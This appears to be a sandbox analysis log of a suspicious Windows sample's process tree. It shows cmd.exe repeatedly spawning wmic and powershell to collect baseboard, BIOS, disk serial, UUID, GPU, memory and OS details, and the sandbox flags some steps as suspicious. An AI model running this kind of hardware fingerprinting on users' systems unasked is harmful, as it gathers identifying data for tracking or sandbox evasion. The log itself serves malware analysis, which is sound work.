C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get Product"2⤵PID:3844
-
C:\Windows\System32\Wbem\WMIC.exewmic baseboard get Product3⤵PID:328
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:1904
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:1560
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get SerialNumber"2⤵PID:4052
-
C:\Windows\System32\Wbem\WMIC.exewmic baseboard get SerialNumber3⤵PID:3808
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic OS get caption"2⤵PID:3972
-
C:\Windows\System32\Wbem\WMIC.exewmic OS get caption3⤵PID:2396
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:5036
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:1728
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:3440
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:5028
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:3704
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get TotalPhysicalMemory"2⤵PID:3524
-
C:\Windows\System32\Wbem\WMIC.exewmic computersystem get TotalPhysicalMemory3⤵PID:464
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:2152
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵
- Suspicious behavior: EnumeratesProcesses
PID:4800
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_videocontroller get caption,PNPDeviceID"2⤵PID:2188
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_videocontroller get caption,PNPDeviceID3⤵PID:4696
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get SerialNumber"2⤵PID:8
-
C:\Windows\System32\Wbem\WMIC.exewmic diskdrive get SerialNumber3⤵PID:1564
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:4692
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:2148
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_computersystemproduct get uuid"2⤵PID:2372
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_computersystemproduct get uuid3⤵PID:2288
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:3808
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:3368
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:4380
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:3264
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:3132
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:3044
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵
- Suspicious behavior: EnumeratesProcesses
PID:1872
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:4816
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:2888
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:4388
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:948
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:4320
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:2180
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:404
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:3392
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵
- Suspicious behavior: EnumeratesProcesses
PID:3160
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:3840
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:4224
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:948
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:3848
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:2176
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:404
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:3264
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:1724
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵
- Suspicious behavior: EnumeratesProcesses
PID:4520
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:2772
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:2944
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:4024
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:4180
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:1760
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:404
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:4880
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:1904
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵
- Suspicious behavior: EnumeratesProcesses
PID:2668
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:2756
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:4340
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:2128
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:3964
-
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:1144
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:3808
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:3492
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:1956
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:1368
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵
- Suspicious behavior: EnumeratesProcesses
PID:3044
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:2888
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:1132
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:4224
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:3692
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:1064
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:1508
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:3204
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:4540
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵
- Suspicious behavior: EnumeratesProcesses
PID:4640
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:3704
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:1204
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:3392
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:4696
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:1916
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:2372
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:2460
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:4320
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵
- Suspicious behavior: EnumeratesProcesses
PID:2668
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:2608
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:4280
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:2844
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:5084
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:5016
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:3700
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:3504
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:2832
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:2288
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:4380
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:4168
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:4952
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:1936
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:2760
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:1060
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:2152
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:4488
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:3096
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:884
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:2540
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:2548
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:3720
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:3464
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:4380
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:3160
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:1628
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4900
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:3492
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:2980
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:1560
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:5036
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:1248
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:780
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:1568
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:3192
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:1508
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:1052
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:2844
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:3848
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:3760
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:4780
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:2448
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:2800
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:2996
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:792
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:2832
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:1456
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:4160
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:2304
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:3424
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:916
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:2336
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:1956
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:1556
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:4780
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:5040
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4816
-
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:1900
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:4176
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:3204
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:4744
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:228
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:4032
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:2340
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:688
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:1520
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:3720
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:4968
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:2596
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:2240
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:3300
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:1540
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:924
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:2720
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:1688
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:1368
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:4336
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:2888
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:3760
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:3880
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:3740
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:2372
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:1848
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:5016
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:3588
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:1044
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:3028
-
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:1904
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:4168
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:3192
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:2780
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:4696
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:3396
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:2868
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:1144
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:1540
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:1108
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:1136
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:5040
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:2664
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:2548
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:948
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:4960
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:3512
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:1072
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:3820
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:1436
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:1528
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:5084
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:4688
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:3032
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:4880
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:4672
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:2760
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:3976
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:2180
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:1764
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:1068
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:4800
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:984
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:2756
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:1296
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:2720
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:2300
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:1052
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:3396
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:2416
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:4168
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:4888
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:1320
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:3392
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:328
-
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:2144
-
-
-
